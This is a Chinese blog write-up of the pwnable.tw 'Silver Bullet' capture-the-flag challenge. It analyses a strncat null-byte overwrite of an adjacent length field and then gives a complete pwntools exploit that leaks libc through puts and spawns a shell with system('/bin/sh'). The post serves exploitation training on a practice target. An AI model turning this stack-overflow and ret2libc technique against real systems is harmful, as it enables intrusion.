PWNABLE Silver Bullet

 

查看文件基本信息

 

 分析程序行为

 

1.创建一个bullet对象,一个变量是输入的字符串的长度,另一个变量是字符串本身

2.将再次输入的字符串拼接到上一字符串后,并更新长度

3.用字符串的长度去与狼人HP相减

 静态分析

 

 

 

 

 

 字符串放到s中,而字符串的长度正好在s的后面

 

int __cdecl power_up(char *dest)
{
  char s[48]; // [esp+0h] [ebp-34h] BYREF
  size_t v3; // [esp+30h] [ebp-4h]

  v3 = 0;
  memset(s, 0, sizeof(s));
  if ( !*dest )
    return puts("You need create the bullet first !");
  if ( *((_DWORD *)dest + 12) > 47u )
    return puts("You can't power up any more !");
  printf("Give me your another description of bullet :");
  read_input(s, 48 - *((_DWORD *)dest + 12));   // 可以把这里改成负数?
                                                // 并不行,因为是无符号整型
                                                // 但是可以再写入47个字节的数据的话,已经够用了
  strncat(dest, s, 48 - *((_DWORD *)dest + 12));
  v3 = strlen(s) + *((_DWORD *)dest + 12);
  printf("Your new power is : %u\n", v3);
  *((_DWORD *)dest + 12) = v3;
  return puts("Enjoy it !");
}

 

 

 漏洞利用

 1.strncat在拼接字符串时,会自动在最后面补上一个'\x00'  。又因为存放长度的地址紧挨着字符串地址,且系统是小端序 。 所以可以先create一个47个字节的对象,然后再次power一个1字节的对象,这样在strncat进行拼接时,

会填充一个'\x00',这样正好就把长度给覆盖了。这样长度更新为1,就可以再次利用power进行拼接47个字节了,而且完全够用。

2.因为strncat的特性,始终都会在字符串的末尾进行拼接另一个字符串,再次power时,覆盖的仍然是字符串长度的地址,由于要return需要进行3步骤,所以直接填充3个'\xff'使得长度最大化,后面的步骤就是正常的栈溢出就

可以解决了

 

 EXP

 

from pwn import *
# context.log_level = 'debug'
# io=process('./silver_bullet')
io=remote('chall.pwnable.tw','10103')
elf=ELF('./silver_bullet')
libc=ELF('libc_32.so.6')
plt_puts=elf.plt['puts']
got_puts=elf.got['puts']
addr_start=0x80484F0

def create():
    io.recvuntil('Your choice :')
    io.sendline('1')
    io.recvuntil('Give me your description of bullet :')
    io.sendline('a'*47)

def power(bullet):
    io.recvuntil('Your choice :')
    io.sendline('2')
    io.recvuntil('Give me your another description of bullet :')
    io.sendline(bullet)

create()
power('1')
payload=''
payload+='\xff'*3
payload+='a'*4
payload+=p32(plt_puts)
payload+=p32(addr_start)
payload+=p32(got_puts)
power(payload)
io.sendline('3')
io.recvuntil('Oh ! You win !!\n')
addr_puts=u32(io.recv(numb=4))

libc.address=addr_puts-libc.sym['puts']
addr_system=libc.sym['system']
bin_sh=next(libc.search('/bin/sh\x00'))

create()
power('1')
payload2=''
payload2+='\xff'*3
payload2+='a'*4
payload2+=p32(addr_system)
# payload2+=p32(0)   这里绝对不能是'\x',这样就会把字符串给截断了
payload2+='a'*4
payload2+=p32(bin_sh)
power(payload2)
io.sendline('3')
io.interactive()

 

posted @ 2021-11-01 10:12  大金刚仔  阅读(120)  评论(0编辑  收藏  举报